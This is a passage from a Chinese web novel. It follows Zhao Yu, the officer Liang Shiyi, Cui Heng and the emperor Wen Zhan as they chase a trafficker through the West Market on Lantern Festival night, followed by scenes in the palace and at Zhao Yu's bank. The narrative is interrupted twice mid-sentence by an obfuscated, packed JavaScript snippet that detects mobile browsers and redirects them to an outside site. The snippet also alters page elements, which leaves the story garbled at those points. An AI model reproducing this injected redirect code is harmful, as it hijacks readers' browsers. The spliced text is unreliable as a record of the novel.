朱雀大街上鼎沸的人群把梁十一从西市拉扯了回来。 梁十一问手下,“宁淮侯说他要票戏,他在哪儿票戏,我们能找到他吗?” “头儿,你忙糊涂了吧。你往前看!” 梁十一眼睛好,这么远,他依旧能看清人脸。百尺高的戏台上,一个身形彪悍的“林黛玉”,正在咿咿呀呀。 “宁淮侯,……,崔珩?” 缇骑这位指挥师出身流|民,当年因为性格凶悍,抢吃的、护食儿都不要命,这才被他师傅收养,教导功夫。他师傅就是缇骑上一代指挥使,在他师傅退隐回乡之后,他成为新一代的北镇府司的指挥使。 梁十一还是学徒的时候,曾经听说崔珩当年可以科举出仕,只是春宵帐暖误终生,被革除功名。他刚入缇骑的时候跟随师傅查抄过崔珩的留园,等他成了小旗,崔珩却以贵戚的身份入了禁军,在平叛中立下大功。等他成为指挥使的时候,崔珩在几场南方和川蜀的平乱中|功成名就,圣上下旨册封为宁淮侯。 他亲眼见到崔珩由一代巨商变成一文不名的穷鬼,然后成了一个王侯。 唯一不变的,似乎就是崔珩的身份——贵戚。 也许只有这样的人,才能毫不留恋自己得到的一切,随时可以舍弃,比如读书人视如生命的功名,比如万千身家,因为他知道,自己可以重新再拥有这些,甚至比之前所舍弃的还要多,多的多。 崔珩,还有他那个表弟赵毓,他们都是一种人。他们的脚从来没有踩在泥泞中,也不知道被埋入地下是怎样的窒息,更不知道费尽力气才能扒开一条缝,咬着牙活下去是个什么滋味。 ——忽然想到西市的那对母女。 此时,梁十一眼前横过来一支糖葫芦。 他一惊。 赵毓在他面前笑的像个山药蛋,还是裹了糖衣的,“老梁,上元灯节也不回家吃元宵,你在这里做什么?” 梁十一方才还是腹诽赵毓,此时见到本尊,有一丝很难以察觉的难堪,所以一言不发。 赵毓见他这个模样,又笑了,“老梁,你刚才不会正在说我坏话吧。” 梁十一接过糖葫芦,不意外,看到赵毓身后不远处的皇帝。他和他身边的人知道进退,也知道什么时候应该沉默。 只是,…… 崔珩刑讯出来的消息,是否应该告知赵毓与皇帝? 梁十一没有开口,此时西市的方向陡然升起一注烟花,高高钻入夜空中,伴随着落雪炸开,散成一片烟花。周围的人只是以为是上元灯节放的烟火,有人驻足欣赏,有些人仅仅是抬头看了一眼,几乎没有引起任何反响。 “警示烟花?”赵毓,“这是军方用的。” 人群中已经有一些人,悄悄向烟花腾空的地方走过去。 他们就像水中的暗流,身上具是普通百姓的服饰,如果没有仔细辨认,以为他们也不过是顺着人群随波逐流而已。 此时,不知道谁喊叫了一嗓子,“金叶子!黄金做的金叶子!满地都是,随便捡啊,先到先得!” 周围的人像是饿狼见到了活羊,都沸腾了,将要形成踩踏的死亡模式。 只是,这个人还没有喊出第二句,他的鼻子上一冷,后面有人用沾了迷药的布巾堵住他的口鼻,把他弄晕了,反手,像扛一袋子土豆一样,把他扛在肩膀上。 堵人鼻子的就是崔珩的副将,此时他穿的像个刚进城的乡下小伙子,憨厚的对着周围不解的人群说,“俺老表,脑子不好,今天有灯会,家里人都出来耍了,一个没看住,也让这疯子跑了出来,见笑见笑。” 今天过节,周围人的同情心也泛滥,“可怜见的,赶紧带回去吧,哎,家家有本难念的经。” 忽然,人们的注意力都被戏台那边吸引过去了。 那位彪悍的“林黛玉”不顾严寒与落雪,将自己外面的川缎彩衣剥落,只着白色的里衣,开始耍大刀。 ——关二爷的青龙偃月刀在林姑娘手中,舞动着犹如万里长城燃烽火,深海蛟龙舞乾坤。 台下不住叫好! 众人开始打赏,大量的铜钱不住向上扔,却因为戏台太高而终究铩羽而归。 程风抱着自己的布幡一直等,一直等,——洪丁说过,他会帮助他在上元灯节将自己告状的布幡挂到百尺戏台上。 只要等待一个时机。 朱雀大街上人们哄抢金叶子,无人看管戏台的时候,他就可以挂上自己的布幡。 可是,现在这个情景,…… 他紧握住手中的布包,堙没在沸腾的人群当中。 崔珩无法卸妆。天太冷,他那盒子紫藤花牛脂的膏子已经冻住,所以他只能顶着这张浓妆艳抹的面皮下戏台,出现在赵毓,文湛还有梁十一等等人的面前。 面对皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728951|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝,崔珩准备了架势十足的复命,文湛手一挥,这位宁淮侯马上从善如流的省了。 赵毓,“本来只是临时起意过来看灯会,没想到看到一出群英会,实在难得。” 崔珩只是笑,虽然有些冷,他斜眉入鬓,颇有一股子风流相。 “老梁还有弟兄们辛苦。”崔珩带着戏装,他换了一种笑,此时的笑似乎都已经对镜练习过千百遍,“知会你们太晚了,老梁还能把事情做的这么地道,真是难得。” “我们没做什么。”梁十一绝对不贪功,尤其不在皇帝面前贪图宁淮侯的功劳。 “不,不,不,老梁你们做的很多。”崔珩摇头,“你们就是一个移动的活靶子,没有你们,就不会把那些躲在暗处的杂碎钓出来。” “……”梁十一,“侯爷果然是统筹全局的帅才。” 崔珩有些无奈的摇了摇头,“已经查了一冬天,总共也就这点收获。” 为了控制整个朱雀大街,他甚至动用了禁军! 如今灯会开始暗淡下去,川流的人群也开始稀薄,雪越下越厚,入冬以来最冷的一夜开始了。 “方才西市那边放了警示烟花。”崔珩,“应该是出事了,我得去看看。老梁,一起去一趟。” 梁十一点头,“是。” 赵毓忽然说,“我也去。” “你?” “是的。”赵毓点头,“这里没有人比我更了解西市。” 文湛点头,“对。” 其实,赵毓与崔珩的性格很像,野性之外带着一些偏执。他们认定的事情,见了黄河,撞了南墙,只要不死,就不会落泪与回头。 遇到这样的情况,阻拦是拦不住的。 如果雍京是一片种了花花草草的土地,西市就是一朵极盛开的花。只是这朵花太绚烂,吸引了一堆蛇虫鼠蚁,掩盖在芬芳的如丝缎一般的花瓣之下。 没有宵禁的夜晚,就像是催熟西市这朵花的风。 茶楼酒楼赌坊鳞次栉比,挂满红色的灯笼,上面落了雪,像是一串串放着红光的柿子饼。 赵毓他们并不引人注目,事实上,来这里乱逛的锦衣夜行的人有的是。 崔珩找到方才点燃烟火的人,他一身青衣小帽,两只手揣在袖筒当中,靠着一家赌坊的高墙蹲着,缩头缩脑,像一只耗子,“侯爷,您老人家怎么才来?”他是崔珩的亲兵,曾经在元明镇尹徵被劫的时候见过洪丁。“刚才那个人看着像他,就是蹿的太快,我一慌神就跟丢了,不过的确是进了那里面。”说着,抬手一指。 他手指的地方是一条不起眼的小胡同,幽暗,细,却深,是一条通往尘世另外一面的入口。 赵毓连看都没有看,直接抬腿向里面走。 这几个人连忙跟上。 路有些远。 黑暗已经把这里同外面的繁华切割的十分彻底。 啪! 梁十一点燃了火折子,他吓了一跳,差点叫出来。 原来,他们周围一直有人,不少的人,像坟地上的幽魂一样安静的堆在各种低矮的窝棚或者小屋的房檐下。 梁十一感觉他们看着自己的目光,就像是野兽注视着进入自己领地的异物。 赵毓接过火折子,像以火把对待群狼,随后叽里咕噜的说了几句话,那些人看了看他,又看了看他们,随后,退开,就像是被火把逼退的狼群,逐渐隐藏并且消失在黑暗中。 梁十一想要问赵毓方才说了什么,只是,他有事没事就闭嘴的习惯已经足可以克制他的好奇了。 崔珩却似乎没有这个禁忌,“方才你说了什么?” 赵毓平淡的说,“我说,咱们买几个姑娘回去。” 崔珩倒是没有继续问,只是好像有些牙疼一般的啧了两声,赵毓手中的火折子照在他的脸上,显得那张倾国倾城的林黛玉的面皮有些狰狞。 “怎么,你这林黛玉还没卸妆,又开始扮上黑山老妖了?” 崔珩说,“假如我是他们,即使我的部族战败,要是有人像买花鸟鱼虫一样买我们的女人,就是死,我也要再拼一拼。因为像这种战败的部族,女人就是最后的希望。只有女人才能生儿子,才能给今后留种。至于这些男人,战败了就没用了,活着费口气,死了脏块地。这些人,为什么要亲手断绝部族最后的希望?” 为了钱,或者,对于他们来说,为了救亡图存。 刚开始,洪丁他们想要卖石脂水,但是,所有的产石脂水的地方已经并入大郑的疆域。随后,洪丁要卖神山上的木材,不过,那座神山也已经成了大郑的国土。最后,他们似乎也到了绝境,于是,女人成了最后的摇钱树。 赵毓禁了外人贩卖人口,这些处境凄惨的姑娘们却是被他们自己人卖到雍京城。为此,他们还找了一个如同百尺戏台一样高耸的因由:——FortheGreatergood.(我实在找不到合适的翻译,暂时先放着,以后再改。) 想到这里,赵毓却摇头,没有回答崔珩的问题,他只是说,“我不知道。” 因为他的确不知道。 一扇门被推开,像是一个深黑的山洞呈现在眼前。 一个老头儿,一脸风霜雕刻出来的油滑和狡诈,混蓝色的眼睛,狼一样盯着外面。 “覆罗古。”赵毓看着这个老头儿,用他们的语言说,“帮我找一个人。” 94. 94 94 覆罗古的眼神扫过眼前一众人,他识得梁十一,只是,最后,他一直看着赵毓身后的文湛。 开口的时候,却已经转向赵毓,“你怎么和官府的人在一起?” 赵毓,“这是朋友。” “官府的人不可能是朋友。”不过,覆罗古随即笑了,像夜枭,“我忘了,你是郑人。你们成为朋友,总比你我是朋友来的容易。说吧,什么事?” 赵毓,“不让我们进去?” 覆罗古让开门,他们走进院子。这里居然不乱,院子墙壁上是石灰覆盖着干草,炉子上热着肉汤,旁边是瓦罐,里面是酸马奶酒。屋子不大,只有两间,都紧闭着门,里面似乎有微弱的声音,如同虚弱的动物在喘息。 赵毓,“洪丁在哪里?” 覆罗古,“条件?” 赵毓,“你开。” 覆罗古,“你在西疆的银矿?” 赵毓听着微微皱眉,“这么荒诞的事情,不明就里的外人相信就算了,怎么连你也相信?如果西疆果然有银矿,你们不会继续做人肉买卖。” “这倒是。”覆罗古居然点头,“那我换一个条件,告诉我,……”说着,他手指向文湛,“他是谁?” 赵毓,“朋友。” 覆罗古,“不,我想知道他真实的身份。” “……”沉吟了一下,赵毓才说,“洪丁的性命只能换一个对你来说并不重要人的消息,合算吗?” 覆罗古忽然大笑,如同漫天的夜枭振翅,可以将树枝上的冬雪震落,“可是你却不肯换,这说明他很重要。告诉我,他是谁?” 赵毓王顾左右而言他,“洪丁是你的敌人。” 覆罗古与洪丁来自敌对的部落。早年他们还打内战的时候,洪丁曾经俘虏覆罗古,为了制造奴隶,洪丁将俘虏全部阉割,使他们不会拥有妻子儿女,再不会有家,也不会有外逃的渴望,这样,这些人就可以安分的活着,成为被奴役的苦力。赵毓冲破了洪丁的军队,结束了这一切。 此时,覆罗古低头,没有说话。——他与赵毓有私交,可是国恨家仇在上,良善的“敌人”与凶狠并且有私仇的“盟友”,究竟应该出卖哪一个? 赵毓继续加码,“你欠我一个人情,用这个抵可以吗?” “可以,我欠你一条命,总归要还。”覆罗古忽然抬头看着他,“洪丁在你们一进入西市就走了,去了哪里我不知道,不过你们可以去问药罗婆,她就在前面一棵黑槐树下的院子中住,这一条街,只有她家的院子最像样,你不会找错。” “好,多谢。”赵毓要走,覆罗古叫住他,“我欠你的已经还清了?” 赵毓点头,“一笔勾销。” 院子外面的人等到命令,连忙赶去覆罗古说的院子,——晚了一步。除了一具老妇的尸体,其它只剩下院子中的核桃树,和一个封冻的小水池,里面有几条已经死去却依旧美丽的游鱼。 他们一无所获,只是多了一条线索,——药罗婆。即使她已经死去,却有一些家人可以追溯痕迹。 梁十一却一直盯着那关闭的屋门。他向那边走去,赵毓扯住他的袖子。 “你做什么?” “屋子里面,……,有人。” 崔珩抽出一直别在后腰上的弩|箭,一扣机关,弓|弩张开,直勾勾的对准紧闭房门的小屋。 梁十一一脚踹开房门,手中火折子再燃起来: ——屋子像岩洞一样,几乎什么都没有。只是,地上爬躺着一个女人,遍体鳞伤,头发散乱,覆盖了脸,她的旁边蹲着一个小女孩,一双浅蓝色的眼珠子,失神的看着闯入者。 梁十一认得她,正是今天白天他救下的那个小女孩! 崔珩收了弓|弩,天寒地冻的,他竟然出了汗,袖子随便一抹,让他脸上挂着的戏妆掉了一小半,像个偷窃林黛玉画皮的鬼狐。 梁十一去探女人的鼻息,——虽然很弱,却依然有呼吸。 她活着。 赵毓一把扯开他,“老梁!” “她们,……”梁十一没说明白,覆罗古在院子外面开口,“这女人欠我钱,没东西抵账,只能卖她闺女。这位官爷心眼好,替他还了账。” 梁十一有些怒气,“既然已经清账,你这是做什么?” 覆罗古不说话,就是笑,桀桀的,异常难听。 赵毓看着他这样,却对梁十一说,“今天,你不应该,……。西疆那边有一种雪豹,非常机警。它们依靠气味辨别自己的幼崽,如果,有一只幼崽沾染上外人的气味,母豹会一口一口生吃了它。今天你的善举就是让这对母女沾染上你的气息,她们在这里,……,很难再活下去。” 文湛原本站在门口的地方,此时,也向里面走了两步。覆罗古见他靠近,想要扯他的袖子,却似乎扯住了一阵风,或者是流沙,空无一物。 “我见过一张画像。”覆罗古对文湛说,“二十多年前,阿尔术依王的公主和亲,你们郑人送过来一张画像,上面那个人,很像你。” 那是先帝的画像。文湛的眼神带了一丝了然,“他一直对你们很好,你不应该辜负他。” “谁?”覆罗古有些心惊。 文湛不再说话。 梁十一忽然说,“我想带这个女孩子走。” 赵毓面对这对母女,慢慢蹲下去,他看着这个小姑娘。 这些年,这段时日,在他眼前死去的人,死去的拥有青蓝色眼珠子的人已经太多了,他本来就不是铁石心肠的人,即使理智告诉他,做这样的事情不对,可是他还是伸出手,把那个女孩子抱离。 女人濒死,手指攥住女儿的衣角,死死的攥住,手背上青筋爆出。 她向前爬了爬,用尽全力看着赵毓,眼神竟然不是恨,而是一种绝望中的祈求,她微微摇头,似乎在否定什么。 赵毓问了她,可是她无法再说话了。 女人已经死去,手指僵硬,依旧死死的攥住女儿的衣角,那是最后一丝残念穿越了生死的界限。——不要,……,不要去。 那个女孩子似乎认定梁十一,在母亲死后,她把他当成亲人,赵毓将这个女孩子递给了梁十一。 赵毓对覆罗古说,“我们把她带走,算是欠你一个人情,不知道该怎么还。” 覆罗古,“我的债已经还清;你的债,我自己去讨。” 众人刚出西市,覆罗古的院落就炸了。文湛下意识扯过赵毓,护在身后,可是,他们却连灰尘也没有沾染到。夜里雪下的急而厚,湮灭了那本来就微弱的火光。 “背叛了洪丁,覆罗古知道自己活不了。而且,……” 赵毓没有继续说下去。 ——他们之间的人情债,需要以命相抵。 上元节还没有过去。崔珩在侯府养了戏班,他这个点钟回去正好唱一折子《游园惊梦》,继续一夜的酒池肉林;梁十一则需要费心安置那个西疆遗孤,他问过她的名字,她说,自己叫做“珊伊”,这是她娘给她起的名字,赵毓告诉他,这在女孩子的语言中是“希望”的意思。 大正宫。 寝殿内琉璃灯高悬。 黄枞菖端过来一个小碗,里面有一个元宵。随后,他为文湛端过的元宵却有四个。 赵毓,“黄瓜,你绝对有做奸商的潜质。” 文湛用瓷勺将赵毓碗中的元宵又切走了半个,“太晚了,你胃不好,小心吃了有积食。不过,上元节不吃元宵似乎不够圆满。” 赵毓,“上元节只吃半个元宵,也不够团圆。” 文湛想了想,似乎也是这个道理,于是他把已经切开的元宵自己吃掉,给赵毓又拨了一个白胖团圆的。赵毓吃完,果然积食了,又喝了一碗冲的很浓的普洱,随后,不可避免的,失眠了。 他翻来覆去的睡不着,只能披衣起身,“睡不着,我看会儿书,兴许就困了。” 文湛看了看他,也一并起身。 外面伺候的黄枞菖连忙进寝殿,给暖炉中添了一些木炭,又端过来一银瓶的温水。 寝殿中有些热,把一直摆放在帷幕下的一盆梅花熏开了,赵毓推开雕花窗,后半夜的雪下的有些紧,被琉璃灯照着,窸窸窣窣的。大正宫的雪景与外面截然不同。朱墙黑色琉璃瓦有一种魔力,它们在雪的映衬下,银装素裹,显得分外妖娆。 长塌上放着一张矮桌,赵毓和文湛分别坐在两边。 赵毓面前摆了一卷羊皮纸的经书,上面是用弯弯曲曲的文字写的郑人看不懂的经文;黄枞菖将一个大的黑檀木盒子端过来,放在皇帝面前,文湛打开它,拿出来刀具和红色的珊瑚块,而盒子中另外放着一个镶嵌贝母的小盒子,里面已经有五颗朱红色的珊瑚珠了,像禁宫红莲子。 文湛很安静的开始打磨雕刻一颗新的珊瑚红莲子。 赵毓伸脖子看了看,“这是什么?” “看你好像开始把玩手串了。”文湛下巴侧了一下,指指被赵毓随手放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728952|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一旁的羊脂玉青金石的手串,“给你雕一串珊瑚珠的,比较配你那个束发玉扣。” “这是加茉临终时给我的,她还问了我一个问题,可是我不知道答案,所以困惑了,就会拿出来念一念。” 玉扣是红莲,这个是红莲子。 文湛忽然拿起来一颗已经雕刻完毕的红莲子,在赵毓眼角下的泪痣那里比了比,都是红艳艳的,只是,赵毓的泪痣似乎更红润更剔透,——是不是应该换一种材料,玛瑙,碧玺,还是红宝石? “文湛,你要是不喜欢,我以后不碰这串玉珠了。” “没事。”此时,文湛表现的很大度,他开始仔细雕刻,却问了一句,“加茉问你什么问题?” “她们是人吗?” “当然是人,她们只是敌人而已。”文湛没有抬头,眼珠子极其认真的盯着手指握住的刀尖,“这么简单的问题为什么会困惑住你?” “可是,她从来没有被当成人一样的对待过。我认识她的时候,她才十三岁,当时她在匈奴活的像头畜生,我以为她回归部族会好一些,结果还是这样,一直到死。无论在匈奴,在西疆,还是在雍京,无论她遇到的人是敌人,还是自己人,或者是陌生人,都一样。人人都以为高她一等,结果,她自己也被这样的想法驯服了。” 闻言,文湛放下刀,“承怡,你知道帝王的极致乐趣是什么?” “我不知道。”赵毓摇头,“我甚至不知道做皇帝有任何乐趣可言。华服美食,香车宝马?或者是,后宫佳丽三千人?” “那些太肤浅。”文湛莞尔,随即说,“是对天下生杀予夺的大权。” 他说着,重新拿起刀,随意刮了刮珊瑚粉末,“同样的,对于不是帝王的人,可以支配他人的生死,即使只能支配少数的几个人,甚至只能支配一个人,也是一种乐趣。今天崔珩问你,为什么这个战败的部族最后要出卖他们的女人,出卖他们唯一的希望,我想,我明白。在洪丁、覆罗古这些人卑贱的人生当中,拥有更加低贱,可以被他们任意支配的人,是他们最后的慰藉。这个时候,什么同一个部族,甚至还有稀薄的血亲关系,这些都顾不得了。” 文湛又开始专心雕刻,空气中恢复了宁谧。 赵毓问他,“可是,你真的拥有对天下生杀予夺的大权吗?” 文湛微微摇头,“不可能。即使民间再怎么传说我是紫微帝星,其实我也只是个人而已,有七情六欲,会生老病死。我同旁人不一样的地方,应该就是我生在大正宫,坐上了皇位。只是,坐在这把椅子上,就像画文人画一样,该留白的地方一定要留白,该妥协的时候,就必须妥协。列祖列宗留的匾额就悬在那里,敬天法祖,敬天,敬的是天道,要明白天道有常,不为尧存,不为桀亡。” “对了,我长的像先帝吗?”文湛问了一个貌似不着边际的话。 赵毓点点头,“像。我记得原来喝多了,还能把你和先帝认错。” 文湛忽然想起来,承怡眼神不好,一到晚上就更加不好,有一次他喝多了,迷迷糊糊的,自己去扶他,他还称呼自己为“亲爹”,真是让人哭笑不得。 “那怎么先帝总说我像裴相?” “都说外甥像舅。”赵毓,“你同裴公爷就有一二分的相似,但是,你还是更像先帝。只是,……” 文湛看了他一眼,“有什么话不能直说?” 赵毓,“先帝应该特别讨厌裴相,所以,他把你相貌中的裴氏血缘放大了。” “嗯。”文湛点头,“连带着,他也讨厌我。” “他应该不讨厌你。只是,……” 赵毓说,“当年你是王朝的储君,是注定要取代他的人,他对你有一丝丝的防备,这也是人之常情。” 文湛,“我们,父子缘分都浅,兄弟缘更薄。幸好,我的夫妻缘分不错。” 赵毓忽然乐了,“你的夫妻缘分是扭的。” “有的扭,总比没的扭要强一些。”文湛刻莲子头也不抬,“怎么,还不愿意认我做夫婿?” “你为什么不能做娘子?” 文湛极其认真的想了想,“因为你体力不好。” “……” 半晌,赵毓,“我比你大几岁。” “嗯。”文湛点头,“据说民间的童养媳都大几岁。” “……” 随后,赵毓捻起来一颗榛子直敲到皇帝眉心。 文湛不咸不淡的来了一句,“谋害亲夫。” 95. 95 95 今天是“元承行”挂招牌的日子。 赵毓找了人把新雕刻好的匾额直接吊到敦煌会馆的四面八角楼上。大匾是黑色的底,金漆的大字,在雪后的朝阳下,“元承行”三个字光芒万丈、瑞彩千条,竟然有一种睥睨天下、傲视群雄之感。 薛宣平端了一碗温热的麦粒做的甜胚子,站在院子中,抬头仰望,——差点瞎了眼。 这块匾上的字不知道出自哪位不世出的书法大家? 旷世奇珍,真是旷世奇珍。 这幅字与现存世的名家书法都不太一样,但凡有一丝眼力的人都能发现,写字的人必然是书法、剑道皆臻入化境。 书法、剑道。 世人任意修其一到如此地步已经是极大成就,而此人竟可以把两样同时修炼到此种境地,并且融会贯通,简直就是亘古罕见。 更令人费解的是,如此大家居然没有煊赫姓名流传于世! 难道,此位已经能堪破虚妄到本可以名垂青史却默默无闻也安之若素?世间当真有此种淡泊明志的隐士高人? 如此高人为什么来给赵毓写牌匾? 难道,……,因为大量的银钱? 如今的赵毓,别的也许欠缺,这白银是唯独不欠缺的。如此高人都能为充满了铜臭气味的元承行写牌匾,不是因为白银铸就,还是因为什么? 薛宣平从来没有像现在这样如此深刻的意识到——有钱能使磨推鬼! 他叹了口气,把手中的甜胚子吃完。 今天元承行还有家宴。不管怎么说,毕竟是新招牌开张,酒肉是避免不了的,只是出乎意外的冷清。 一张大的八仙桌上,吃食琳琅满目,只是坐着的人,只有他薛宣平,赵毓,还有赵毓的小白脸。 闻着满桌的三牲五鼎,薛宣平竟然无端打了一个高处不胜寒的寒颤。如今的元承行既不是西北道,也不是十三行。它不是商道领袖,仅仅执牛耳,如果说白银是一个国度,那么元承行几乎可以说是以一己之力打造了整片江山。所以,作为它的主人,赵毓活的就算再荒|淫无度,再多的酒池肉林,似乎也没有什么好苛责的。 只是,……哎。 还是那句话,有钱能使磨推鬼! 老赵这个人邪性,找的小白脸真是又俊又殷勤。不说别的,就他们吃饭这么一会儿的功夫,那个小白脸就没干别的,只给老赵忙活了。他为赵毓把鱼剔骨,把虾剥壳,甚至连醉蟹都用黄金小钳子敲开,将蟹黄和蟹肉一点点挖出来,放在赵毓的面前的小碟子当中。——就差直接喂饭了。 还有。 那三个价比黄金的西疆蜜瓜,全部被这个小白脸像切倭瓜一样切开,去瓤,只剜出中间最甜的部分再滴加蜂蜜给老赵吃完饭清口。 这个小白脸一点都没有伺候男人斯文扫地的窘迫,反而做起这种事情来极认真,兴趣十足,并且甘之若饴。 简直就是,……!?! 一般说来,相貌好的人都傲,即使命薄如纸,也心比天高。 薛宣平在青楼有相好,后来看老赵这个架势,他也跑去南馆喝了几顿花酒。雍京最好的南馆是观止楼,那里面的小倌有出身好的,最近刚红一个就是,叫什么佩玉的,是一个被抄家的小官的儿子。薛宣平如今也是雍京城有名有姓的人物,一张元承行的小额汇票就能换红倌人一晚上,只是,老薛自己心里没过这个坎,他只是点了佩玉的局,让他过来陪他喝几口酒。 佩玉那张脸只是清秀,要说俊,那是拍马也赶不上赵毓这个小白脸,并且性子也差了许多。都不要说殷勤不殷勤了,就算陪酒,也是一副纡尊降贵的样子,似乎,他清高,他冷傲,他能坐在老薛这种大豪客身旁已经是施舍。 薛宣平不懂这行生意的门道,只是觉得自己的银子花的不顺畅,可是,人家佩玉自有大批火山孝子,捧着大笔的银子想要亲近亲近那块冰坨。 “老薛,你今天怎么吃这么少?”赵毓自己吃的时候,还不忘招呼他,“你尝尝这鱼,这是正经的镜泊湖白鱼,从关外用冰块封冻运进来的,味道还挺鲜嫩的。”说完,他还给小白脸也夹了一筷子,“你也别给我忙活了,自己也吃点东西。” 文湛,“我一会儿吃。你今早就没吃饭,现在胃里一定很空,这些东西不能凉,凉了烧心。” 说着,他头也不抬,开始仔细剥橘子的硬丝。 这次文湛换了银针,一根一根,一点一点,仔细将橘子肉中的硬丝剔除。这是精细活,没有心思,没有定力,肯定做不来。 薛宣平终于忍不住,“小哥,这个不用剥,这个是药材,可以清热去火。” 文湛看了他一眼,“他不爱吃,嫌苦。” “……” 薛宣平心中暗自叹气。 这个小白脸看着像是好人家的儿子,他究竟欠了老赵多少钱,才能心甘情愿的把人伺候的这么熨帖? 吃完饭,赵毓留在元承行看账簿。 如今元承行连接着雍京,甚至是大郑全境内几乎所有的钱庄票号,他们为这些同行(呃,勉强算是同行吧,其实已经是下属分支了)供汇票,这就好像大河向流域内的分叉直流供水一样,如果没有他们,这些“同行”顷刻就会如同十三行一般,关门歇业。 不过,永嘉章春秋的确是人物。 十三行断肢求生,到底是真的求生了。他们几乎是全须全尾的退回江南,除了招牌灰飞烟灭之外,命还在。余下那些没退走的,那可真说不准。不说别的,如今已经过到明面上的就是徽州几家银庄、两淮的几位豪商矿押宝银价暴涨,他们究竟什么灰飞烟灭,究竟还有什么保留了下来,也许只有天知道了。 赵毓给文湛端了一碗三炮台,“我给你另外加了几颗红枣,你尝尝味道。” “户部过来的那些账房还好用吧。”文湛接过来三才碗,轻轻呷了一口,“真甜。” “好用。”赵毓点头,“他们练就的是童子功,算盘打的扎实,比我强太多了,当年老崔生意做的最大的时候,他算账在永嘉都出了名,我估摸着也就到这个程度。” “你平时怎么算账?”文湛问道,“我听户部那几个大账房说,他们算了一天的账目,你一眼看过去就能核出大概。他们算了两天,三天,甚至十天半个月的账目,有的时候,你一眼就能核出错误来。” 赵毓,“看得多了,大概能有个感觉。而且,我这个是野路子,只能大概估算一下,要是真做账可不成。还有,我看账目的时候把所有数的最后一位相加,最后估算个奇偶,对不对,一眼就知道了。户部这些账房都是正路来的,他们不容易出错,当年在西北的时候,我遇到的都是一群酒囊饭袋,一本账算八遍愣是能算出八个数来。要说,老薛这个人不一般,我最开始认识他的时候,他就是个伙夫,也没读过什么书,可是他的脑子出奇的好用。他掌管采买都不用记账,却从来没有出过错。一棵白菜,一块土豆,他在哪里买的,跟谁买的,买完了放在哪里,什么时候吃掉的,他都能说的清清楚楚,天生做买卖的好苗子,这可不是教出来的。” 文湛听着就是点点头,不置可否,他说,“这些户部账房我先放你这里,以后我们要做的事情太大,没有他们,你一个人扛不住。” 赵毓点头,“知道。” 他继续看账。 文湛陪伴在他身边。 安静的午后。 雍京下了几天的雪,都堆在屋檐外面,冷、透,仿若装点世界的琉璃。 赵毓坐在窗子边,面庞被外面的雪光一照,显得他的头发和眼睛珠子透透的黑,像大正宫那些压在朱墙上的黑色琉璃瓦。 薛宣平送账目进来。 一屋子的静谧,却让他感觉到后脊梁骨似乎被人用鞭子猛力抽了一下,好悬没站稳,随后,他的脸红了。……!?! ——妖孽,这里有妖孽! 薛宣平放下账目,在赵毓有些不解的目光中,狼狈逃窜。 北城。 掌灯之后,赵毓才到尹宅,他进屋之后才把外面披着的白貂皮大氅脱下,一边搓手一边问,“爹让我过来,有什么事?” 尹明扬让老管家捧过来一个铁盘子,里面摆放着大约三块摞起来的荞麦酥高的拜帖和请客票。 赵毓任意翻了翻,——不是请尹明扬,居然都是请尹徵的帖子。 “桂宝儿喜欢热闹,为人又大方,他在雍京虽然不长久,但是认识的朋友却不少。这是,……” 这帖子似乎也太多了一些。 赵毓明白尹明扬的顾虑,如今这些帖子请的不是尹家人,而是“赵毓的岳家”,谁应该结交,谁应该远离,他岳父让他过来,亲自做个分辨。 “这些人就算了。”赵毓撇开一些帖子,挑拣了几张出来,“宗政文辩这个孩子不错,挺厚道的。他娘是楚王的小女儿敬和郡主,他爹是忠勇 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“好了,就是残废了。”说着,尹徵举着手,“原来十根手指,现在少了一根。我娘说我命太好,出生带着福报太多,本来是好事,可是她总是担心我承受不了,现在我残废了,她到心安了。” 文湛微微点头,“你娘心安就好,只是,你以后无法科举出仕。” 虽然尹徵一向貌似没心没肺,可是毕竟是官宦世家的公子,从小就耳濡目染,自然知道科举重于泰山,同时也明白无法出仕意味着什么。——无法代代握住权柄,再大的家族也有日薄西山的一天。 “这也是没办法的事。” 尹徵还是叹了口气,一直低着头,看着自己的脚。 “我姐夫就无法出仕,可是在云中没有人小看他。有些人眼皮子浅,说姐夫扯着我姐姐的裙子,借了我爹的光。尹家在云中是大户,门中的女婿有一些是靠着家里吃饭的,腰杆都是弯的,只有我姐夫腰杆是直的。至于说什么借光不借光,我们是一家人,我爹该照顾他的一定会照顾,但是姐夫的今天都是自己一步一步走出来的。他说过,做不了官,至少还可以做一个人。既然我以后做不了官,那就学他,做一个堂堂正正的人好了。” 尹徵说完,没有得到任何回应,忽然抬头,发现“六哥”以一种近乎温和的眼光看着他。 “六哥,您,……” 文湛却说,“你长大了。” “过了年,自然又长了一岁。桂宝儿今年十八了吧。”赵毓的声音,他从那边的书房过来,单手扯着大氅,一开口还带着笑,“过年吃了那么多的酥肉,不长大,岂不是白费了?” “姐夫!”尹徵连忙过去,扯住赵毓,“我爹呢?” “老爷还在书房。” “出了什么事?” 赵毓摸了摸尹徵的头发,这段时间他吃苦太多,再加上少年还在抽条,显得瘦了好多,“老爷让我过来没别的事,最近送过来的名帖有些多,他让我挑拣出一些可以结交的人,过几天,开了年,我带你出去拜访拜访朋友。” “……”尹徵,“姐夫,你的官话说的真好听,和六哥说的一样好听。” 